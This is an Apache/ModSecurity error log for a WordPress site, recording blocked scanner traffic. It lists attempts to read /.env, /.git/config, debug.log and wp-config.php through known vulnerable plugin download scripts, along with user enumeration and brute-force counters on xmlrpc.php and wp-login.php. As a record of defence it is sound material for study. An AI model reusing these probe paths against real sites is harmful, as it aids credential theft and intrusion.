[Tue Nov 11 00:22:48.505017 2025] [:error] [pid 41825:tid 41908] [client 185.193.157.179:49044] [client 185.193.157.179] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRIRWIr5hkwmQG_pQgDzSgAAAFU"]
[Tue Nov 11 00:22:51.196207 2025] [:error] [pid 41825:tid 41902] [client 185.193.157.179:49044] [client 185.193.157.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRW4r5hkwmQG_pQgDzTwAAAE8"]
[Tue Nov 11 00:22:52.850300 2025] [:error] [pid 41978:tid 42006] [client 185.193.157.179:40618] [client 185.193.157.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRXJTXUiwDnS4PcJ8tSgAAAMw"]
[Tue Nov 11 00:22:55.436815 2025] [:error] [pid 41816:tid 41864] [client 185.193.157.179:40628] [client 185.193.157.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRX0QR8XSNQpgkeuT7pQAAAAQ"]
[Tue Nov 11 00:22:57.720635 2025] [:error] [pid 41978:tid 42012] [client 185.193.157.179:41196] [client 185.193.157.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRYZTXUiwDnS4PcJ8tUgAAANI"]
[Tue Nov 11 00:22:57.720804 2025] [:error] [pid 41978:tid 42012] [client 185.193.157.179:41196] [client 185.193.157.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 185.193.157.179, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRIRYZTXUiwDnS4PcJ8tUgAAANI"]
[Tue Nov 11 00:51:42.802361 2025] [:error] [pid 31985:tid 32008] [client 91.92.242.56:54053] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/wp-content/debug.log"] [unique_id "aRIYHpeXIbTtCYJNJFCCAgAAAQA"]
[Tue Nov 11 01:07:29.129409 2025] [:error] [pid 41839:tid 41925] [client 173.236.217.44:42168] [client 173.236.217.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.217.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRIb0TGxg5uCD9Nfh5W7xwAAAIs"]
[Tue Nov 11 01:12:42.087947 2025] [:error] [pid 41839:tid 41928] [client 91.92.242.56:64691] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/usc-e-shop/functions/content-log.php"] [unique_id "aRIdCjGxg5uCD9Nfh5W9kwAAAI4"]
[Tue Nov 11 01:20:38.540163 2025] [:error] [pid 41825:tid 41900] [client 91.92.242.56:62191] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php"] [unique_id "aRIe5or5hkwmQG_pQgALqwAAAE0"]
[Tue Nov 11 01:20:40.903233 2025] [:error] [pid 24817:tid 24827] [client 91.92.242.56:60984] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php"] [unique_id "aRIe6OBo1Juuc7yq76DLUAAAAwg"]
[Tue Nov 11 01:20:41.988111 2025] [:error] [pid 14120:tid 14146] [client 91.92.242.56:49173] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "aRIe6ST8OKKuPaCGMt0figAAAVc"]
[Tue Nov 11 01:20:43.072148 2025] [:error] [pid 24817:tid 24821] [client 91.92.242.56:54865] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIe6-Bo1Juuc7yq76DLUQAAAwI"]
[Tue Nov 11 01:20:44.198148 2025] [:error] [pid 24817:tid 24828] [client 91.92.242.56:56506] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aRIe7OBo1Juuc7yq76DLVQAAAwk"]
[Tue Nov 11 01:20:45.284135 2025] [:error] [pid 41816:tid 41883] [client 91.92.242.56:55957] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIe7UQR8XSNQpgkeuQVmwAAABc"]
[Tue Nov 11 01:20:47.704785 2025] [:error] [pid 41978:tid 41996] [client 91.92.242.56:52359] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIe75TXUiwDnS4PcJ9FzwAAAMI"]
[Tue Nov 11 01:20:48.790158 2025] [:error] [pid 24554:tid 24568] [client 91.92.242.56:51280] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mapsvg/gm_download.php"] [unique_id "aRIe8Bbgcg5JFvN-BGVtjwAAAso"]
[Tue Nov 11 01:20:49.865068 2025] [:error] [pid 24103:tid 24113] [client 91.92.242.56:56166] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mapsvg-lite-interactive-vector-maps/gm_download.php"] [unique_id "aRIe8bmrGVWhZHx4njI_0gAAAgc"]
[Tue Nov 11 01:48:50.596793 2025] [:error] [pid 41825:tid 41897] [client 182.42.111.213:49180] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRIlgor5hkwmQG_pQgAW7wAAAEo"]
[Tue Nov 11 02:59:38.653771 2025] [:error] [pid 24554:tid 24573] [client 43.128.85.168:36592] [client 43.128.85.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.128.85.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRI2Ghbgcg5JFvN-BGWFMQAAAs8"]
[Tue Nov 11 05:08:15.178380 2025] [:error] [pid 43435:tid 43446] [client 82.21.194.234:32571] [client 82.21.194.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRJUP2eCenDmgzLwDULayAAAAAY"]
[Tue Nov 11 05:14:58.602201 2025] [autoindex:error] [pid 43523:tid 43546] [client 196.251.85.129:49302] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 11 05:30:04.141135 2025] [:error] [pid 33888:tid 33898] [client 41.185.64.163:41246] [client 41.185.64.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.64.163, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRJZXIhA0uVBNwBRvPra5wAAAIc"]
[Tue Nov 11 05:30:42.194217 2025] [:error] [pid 33888:tid 33895] [client 41.185.64.163:46574] [client 41.185.64.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.64.163, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRJZgohA0uVBNwBRvPrbIwAAAIQ"]
[Tue Nov 11 05:30:46.436460 2025] [:error] [pid 33888:tid 33901] [client 41.185.64.163:46574] [client 41.185.64.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.64.163, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRJZhohA0uVBNwBRvPrbLgAAAIo"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 11 05:44:49.519880 2025] [:error] [pid 33888:tid 33907] [client 3.129.58.189:59206] [client 3.129.58.189] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRJc0YhA0uVBNwBRvPrgmQAAAJA"]
[Tue Nov 11 06:23:58.384688 2025] [:error] [pid 33888:tid 33896] [client 185.201.65.137:9184] [client 185.201.65.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.201.65.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRJl_ohA0uVBNwBRvPrvdQAAAIU"]
[Tue Nov 11 08:10:40.314862 2025] [:error] [pid 33931:tid 33955] [client 91.92.242.56:63243] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/wp-content/debug.log"] [unique_id "aRJ_AEnJb679KZEjo-MVRQAAAQ8"]
[Tue Nov 11 08:33:34.951680 2025] [:error] [pid 20101:tid 20117] [client 91.92.242.56:62154] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/usc-e-shop/functions/content-log.php"] [unique_id "aRKEXvSZnd_J7V4i60I-dwAAAs4"]
[Tue Nov 11 08:42:15.475574 2025] [:error] [pid 18828:tid 18831] [client 91.92.242.56:51024] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php"] [unique_id "aRKGZxPP-hmbFD1dOrqc8wAAAMA"]
[Tue Nov 11 08:42:16.573743 2025] [:error] [pid 19756:tid 19780] [client 91.92.242.56:62526] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php"] [unique_id "aRKGaOkAxCY2xqQFnfoECwAAAlY"]
[Tue Nov 11 08:42:17.652417 2025] [:error] [pid 19756:tid 19779] [client 91.92.242.56:49739] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "aRKGaekAxCY2xqQFnfoEDAAAAlU"]
[Tue Nov 11 08:42:19.755239 2025] [:error] [pid 19559:tid 19586] [client 91.92.242.56:62842] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRKGa02A7XQJ15MEH8CmqwAAAhc"]
[Tue Nov 11 08:42:20.856210 2025] [:error] [pid 33888:tid 33893] [client 91.92.242.56:52512] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aRKGbIhA0uVBNwBRvPosIAAAAII"]
[Tue Nov 11 08:42:21.933230 2025] [:error] [pid 19436:tid 19445] [client 91.92.242.56:55188] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRKGbYDAvO-suY2r0aRukAAAAcQ"]
[Tue Nov 11 08:42:24.014277 2025] [:error] [pid 34002:tid 34013] [client 91.92.242.56:57697] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRKGcNNx46Ag0u620or7oQAAAAc"]
[Tue Nov 11 08:42:25.090479 2025] [:error] [pid 33888:tid 33909] [client 91.92.242.56:54977] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mapsvg/gm_download.php"] [unique_id "aRKGcYhA0uVBNwBRvPosJwAAAJI"]
[Tue Nov 11 08:42:26.167702 2025] [:error] [pid 34002:tid 34009] [client 91.92.242.56:54347] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mapsvg-lite-interactive-vector-maps/gm_download.php"] [unique_id "aRKGctNx46Ag0u620or7pwAAAAM"]
[Tue Nov 11 09:06:22.377435 2025] [:error] [pid 53449:tid 53461] [client 35.229.63.152:39118] [client 35.229.63.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRKMDtpz08j5NoUSzp-hiQAAAUc"]
[Tue Nov 11 09:18:27.486419 2025] [:error] [pid 53449:tid 53455] [client 116.202.132.228:60912] [client 116.202.132.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.132.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRKO49pz08j5NoUSzp-obgAAAUE"]
[Tue Nov 11 09:18:47.554517 2025] [:error] [pid 53355:tid 53362] [client 116.202.132.228:43280] [client 116.202.132.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.132.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRKO94B5X5A3rMc4_nDF_QAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 11 09:41:50.059878 2025] [:error] [pid 53355:tid 53370] [client 103.74.123.7:36318] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRKUXoB5X5A3rMc4_nDMiQAAAAw"]
[Tue Nov 11 09:41:51.920782 2025] [:error] [pid 53355:tid 53365] [client 103.74.123.7:36318] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRKUX4B5X5A3rMc4_nDMigAAAAc"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 11 09:50:05.473796 2025] [:error] [pid 53449:tid 53463] [client 162.0.235.233:47388] [client 162.0.235.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRKWTdpz08j5NoUSzp-zngAAAUk"]
[Tue Nov 11 10:16:10.784401 2025] [proxy_fcgi:error] [pid 53355:tid 53370] (70007)The timeout specified has expired: [client 51.81.107.180:59494] AH01075: Error dispatching request to : (polling)
[Tue Nov 11 12:07:39.583687 2025] [:error] [pid 59670:tid 59683] [client 213.209.143.137:58048] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2i6k2Cnts0y-hpfqyawAAAIo"]
[Tue Nov 11 12:07:40.108043 2025] [:error] [pid 53356:tid 53405] [client 213.209.143.137:60076] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2jOkdmt0kzjVcUN9mVgAAAFQ"]
[Tue Nov 11 12:07:40.628813 2025] [:error] [pid 59670:tid 59674] [client 213.209.143.137:62015] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2jKk2Cnts0y-hpfqybQAAAIE"]
[Tue Nov 11 13:49:52.985099 2025] [:error] [pid 53355:tid 53364] [client 170.106.73.216:37700] [client 170.106.73.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRLOgIB5X5A3rMc4_nAcDQAAAAY"]
[Tue Nov 11 14:02:10.702074 2025] [:error] [pid 53449:tid 53458] [client 114.80.36.40:33100] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRLRYtpz08j5NoUSzp8Z2QAAAUQ"]
[Tue Nov 11 14:35:21.804460 2025] [:error] [pid 59670:tid 59683] [client 138.197.43.122:37100] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRLZKak2Cnts0y-hpfr8zQAAAIo"]
[Tue Nov 11 14:35:23.081755 2025] [:error] [pid 53449:tid 53462] [client 138.197.43.122:46424] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRLZK9pz08j5NoUSzp8n1gAAAUg"]
[Tue Nov 11 15:35:55.076846 2025] [:error] [pid 53449:tid 53473] [client 202.160.174.10:55452] [client 202.160.174.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.160.174.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRLnW9pz08j5NoUSzp8-7wAAAVM"]
